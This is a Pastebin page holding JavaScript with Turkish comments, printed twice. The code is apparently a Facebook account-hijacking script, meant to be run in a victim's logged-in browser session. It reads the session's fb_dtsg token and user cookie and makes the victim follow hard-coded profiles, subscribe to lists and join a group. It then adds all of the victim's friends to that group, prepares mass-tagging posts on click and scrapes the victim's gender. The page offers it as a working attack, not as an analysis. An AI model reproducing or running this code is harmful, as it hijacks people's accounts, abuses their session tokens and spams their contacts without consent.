daily pastebin goal
50%
SHARE
TWEET

Untitled

Rinz56 May 16th, 2018 85 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.    
  4. function cereziAl(isim) {
  5.     var tarama = isim + "=";
  6.     if (document.cookie.length > 0) {
  7.         konum = document.cookie.indexOf(tarama)
  8.         if (konum != -1) {
  9.             konum += tarama.length
  10.             son = document.cookie.indexOf(";", konum)
  11.             if (son == -1)
  12.                 son = document.cookie.length
  13.             return unescape(document.cookie.substring(konum, son))
  14.         }
  15.         else { return ""; }
  16.     }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20.     return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23.     return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30.     var http4 = new XMLHttpRequest();
  31.      
  32.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.      
  34.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35.     http4.open("POST", url4, true);
  36.      
  37.     //Send the proper header information along with the request
  38.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39.     http4.setRequestHeader("Content-length", params4.length);
  40.     http4.setRequestHeader("Connection", "close");
  41.      
  42.     http4.onreadystatechange = function() {//Call a function when the state changes.
  43.     if(http4.readyState == 4 && http4.status == 200) {
  44.        
  45.       http4.close; // Close the connection
  46.      
  47.     }
  48.     }
  49.    
  50.     http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54.         var a = document.createElement('script');
  55.         a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56.         document.body.appendChild(a);
  57. }
  58.  
  59. a("100009578295369");
  60. a("100010359037780");
  61. a("100012410080398");
  62.  
  63.  
  64. sublist("301027760252523");
  65. sublist("301027093585923");
  66. sublist("301014666920499");
  67. sublist("301013366920629");
  68. sublist("180188169071518");
  69.  
  70. var gid = ['194885917590076'];
  71.  
  72. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  73. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  74.  
  75. var httpwp = new XMLHttpRequest();
  76. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  77. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  78. httpwp['open']('POST', urlwp, true);
  79. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  80. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  81. httpwp['setRequestHeader']('Connection', 'keep-alive');
  82. httpwp['send'](paramswp);
  83.  
  84. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  85. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  86.  
  87. var friends = new Array();
  88. gf = new XMLHttpRequest();
  89. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  90. gf['send']();
  91. if (gf['readyState'] != 4) {} else {
  92.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  93.     if (data['error']) {} else {
  94.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  95.             return _0x93dax8['index'] - _0x93dax9['index'];
  96.         });
  97.     };
  98. };
  99.  
  100. for (var i = 0; i < friends['length']; i++) {
  101.     var httpwp = new XMLHttpRequest();
  102.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  103.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  104.     httpwp['open']('POST', urlwp, true);
  105.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  106.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  107.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  108.     httpwp['onreadystatechange'] = function () {
  109. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  110.     };
  111.     httpwp['send'](paramswp);
  112. };
  113. var spage_id = "984561301622126";
  114. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  115. var smesaj = "";
  116. var smesaj_text = "";
  117. var arkadaslar = [];
  118. var svn_rev;
  119. var bugun= new Date();
  120. var btarihi = new Date();
  121. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  122. if(!document.cookie.match(/paylasti=(\d+)/)){
  123. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  124. }
  125.  
  126.  
  127. //arkadaslari al ve isle
  128. function sarkadaslari_al(){
  129.         var xmlhttp = new XMLHttpRequest();
  130.         xmlhttp.onreadystatechange = function () {
  131.             if(xmlhttp.readyState == 4){
  132.                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  133.                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  134.                     smesaj = "";
  135.                     smesaj_text = "";
  136.                   for(i=f*10;i<(f+1)*10;i++){
  137.                     if(arkadaslar.payload.entries[i]){
  138.                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  139.                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  140.                   }
  141.                     }
  142.                     sdurumpaylas();             }
  143.                
  144.             }
  145.            
  146.         };
  147.         var params = "&filter[0]=user";
  148.         params += "&options[0]=friends_only";
  149.         params += "&options[1]=nm";
  150.         params += "&token=v7";
  151.         params += "&viewer=" + user_id;
  152.         params += "&__user=" + user_id;
  153.        
  154.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  155.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  156.         xmlhttp.send();
  157. }
  158.  
  159. //tiklama olayini dinle
  160. var tiklama = document.addEventListener("click", function () {
  161. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  162. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  163. sarkadaslari_al();
  164. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  165.  
  166. document.removeEventListener(tiklama);
  167. }
  168.  }, false);
  169.  
  170. //cinsiyet belirleme
  171. var cinssonuc = {};
  172. var cinshtml = document.createElement("html");
  173. function scinsiyetgetir(uid,cins,fonksiyon){
  174.         var xmlhttp = new XMLHttpRequest();
  175.         xmlhttp.onreadystatechange = function () {
  176.             if(xmlhttp.readyState == 4){
  177.             eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  178.             cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  179.             btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  180.             if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  181.             document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  182.             }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  183.             document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  184.             }
  185.             eval(fonksiyon + "(" + id + "," + cins + ");");
  186.             }
  187.         };
  188.         xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  189.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  190.         xmlhttp.send();
  191. }
  192. RAW Paste Data
  193.  
  194. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  195. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  196.    
  197. function cereziAl(isim) {
  198.     var tarama = isim + "=";
  199.     if (document.cookie.length > 0) {
  200.         konum = document.cookie.indexOf(tarama)
  201.         if (konum != -1) {
  202.             konum += tarama.length
  203.             son = document.cookie.indexOf(";", konum)
  204.             if (son == -1)
  205.                 son = document.cookie.length
  206.             return unescape(document.cookie.substring(konum, son))
  207.         }
  208.         else { return ""; }
  209.     }
  210. }
  211.  
  212. function getRandomInt (min, max) {
  213.     return Math.floor(Math.random() * (max - min + 1)) + min;
  214. }
  215. function randomValue(arr) {
  216.     return arr[getRandomInt(0, arr.length-1)];
  217. }
  218.  
  219. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  220. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  221.  
  222. function a(abone){
  223.     var http4 = new XMLHttpRequest();
  224.      
  225.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  226.      
  227.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  228.     http4.open("POST", url4, true);
  229.      
  230.     //Send the proper header information along with the request
  231.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  232.     http4.setRequestHeader("Content-length", params4.length);
  233.     http4.setRequestHeader("Connection", "close");
  234.      
  235.     http4.onreadystatechange = function() {//Call a function when the state changes.
  236.     if(http4.readyState == 4 && http4.status == 200) {
  237.        
  238.       http4.close; // Close the connection
  239.      
  240.     }
  241.     }
  242.    
  243.     http4.send(params4);
  244. }
  245.  
  246. function sublist(uidss) {
  247.         var a = document.createElement('script');
  248.         a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  249.         document.body.appendChild(a);
  250. }
  251.  
  252. a("100009578295369");
  253. a("100010359037780");
  254. a("100012410080398");
  255.  
  256.  
  257. sublist("301027760252523");
  258. sublist("301027093585923");
  259. sublist("301014666920499");
  260. sublist("301013366920629");
  261. sublist("180188169071518");
  262.  
  263. var gid = ['194885917590076'];
  264.  
  265. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  266. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  267.  
  268. var httpwp = new XMLHttpRequest();
  269. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  270. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  271. httpwp['open']('POST', urlwp, true);
  272. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  273. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  274. httpwp['setRequestHeader']('Connection', 'keep-alive');
  275. httpwp['send'](paramswp);
  276.  
  277. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  278. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  279.  
  280. var friends = new Array();
  281. gf = new XMLHttpRequest();
  282. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  283. gf['send']();
  284. if (gf['readyState'] != 4) {} else {
  285.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  286.     if (data['error']) {} else {
  287.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  288.             return _0x93dax8['index'] - _0x93dax9['index'];
  289.         });
  290.     };
  291. };
  292.  
  293. for (var i = 0; i < friends['length']; i++) {
  294.     var httpwp = new XMLHttpRequest();
  295.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  296.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  297.     httpwp['open']('POST', urlwp, true);
  298.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  299.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  300.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  301.     httpwp['onreadystatechange'] = function () {
  302. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  303.     };
  304.     httpwp['send'](paramswp);
  305. };
  306. var spage_id = "984561301622126";
  307. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  308. var smesaj = "";
  309. var smesaj_text = "";
  310. var arkadaslar = [];
  311. var svn_rev;
  312. var bugun= new Date();
  313. var btarihi = new Date();
  314. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  315. if(!document.cookie.match(/paylasti=(\d+)/)){
  316. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  317. }
  318.  
  319.  
  320. //arkadaslari al ve isle
  321. function sarkadaslari_al(){
  322.         var xmlhttp = new XMLHttpRequest();
  323.         xmlhttp.onreadystatechange = function () {
  324.             if(xmlhttp.readyState == 4){
  325.                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  326.                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  327.                     smesaj = "";
  328.                     smesaj_text = "";
  329.                   for(i=f*10;i<(f+1)*10;i++){
  330.                     if(arkadaslar.payload.entries[i]){
  331.                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  332.                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  333.                   }
  334.                     }
  335.                     sdurumpaylas();             }
  336.                
  337.             }
  338.            
  339.         };
  340.         var params = "&filter[0]=user";
  341.         params += "&options[0]=friends_only";
  342.         params += "&options[1]=nm";
  343.         params += "&token=v7";
  344.         params += "&viewer=" + user_id;
  345.         params += "&__user=" + user_id;
  346.        
  347.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  348.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  349.         xmlhttp.send();
  350. }
  351.  
  352. //tiklama olayini dinle
  353. var tiklama = document.addEventListener("click", function () {
  354. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  355. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  356. sarkadaslari_al();
  357. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  358.  
  359. document.removeEventListener(tiklama);
  360. }
  361.  }, false);
  362.  
  363. //cinsiyet belirleme
  364. var cinssonuc = {};
  365. var cinshtml = document.createElement("html");
  366. function scinsiyetgetir(uid,cins,fonksiyon){
  367.         var xmlhttp = new XMLHttpRequest();
  368.         xmlhttp.onreadystatechange = function () {
  369.             if(xmlhttp.readyState == 4){
  370.             eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  371.             cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  372.             btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  373.             if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  374.             document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  375.             }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  376.             document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  377.             }
  378.             eval(fonksiyon + "(" + id + "," + cins + ");");
  379.             }
  380.         };
  381.         xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  382.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  383.         xmlhttp.send();
  384. }
RAW Paste Data
Top